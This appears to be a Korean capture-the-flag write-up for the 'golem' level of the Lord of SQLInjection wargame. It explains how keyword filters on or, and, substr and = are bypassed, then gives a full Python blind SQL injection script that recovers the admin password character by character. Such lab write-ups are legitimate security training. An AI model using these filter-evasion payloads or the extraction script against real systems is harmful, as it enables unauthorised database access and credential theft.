Lord of SQLInjection - GOLEM

GOLEM

문제

• 첫번째 쿼리에서 admin의 pw를 구하는 문제다.
• or, and, substr(, = 문자를 이스케이프한다.
• substr 대신 mid, = 대신 like를 사용하였다.

정답

import requests

password = ''

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"

cookie = {'PHPSESSID' : 'PHP 세션 아이디'}

pass_len = 0

for length in range(1,30):
    query = "?pw=' || id like 'admin' %%26%%26 %d in (length(pw))%%23" %length
    URL = url+query

    r = requests.get(url=URL, cookies=cookie)

    if 'Hello admin' in str(r.content):
        pass_len = length
        break

    else:
        print(str(length) + "--- X")
		

print("password length : %d" %pass_len)
password=''

for i in range(1, pass_len+1):
    for j in range(38, 127):
        query = "?pw=' || id like 'admin' %%26%%26 ascii(mid(pw,%d,1)) in (%d) %%23" %(i, j)
        URL = url+query
        r = requests.get(url=URL, cookies=cookie)
        
        if 'Hello admin' in str(r.content):
            password += chr(j)
            break

print ('passowrd :  %s' %password)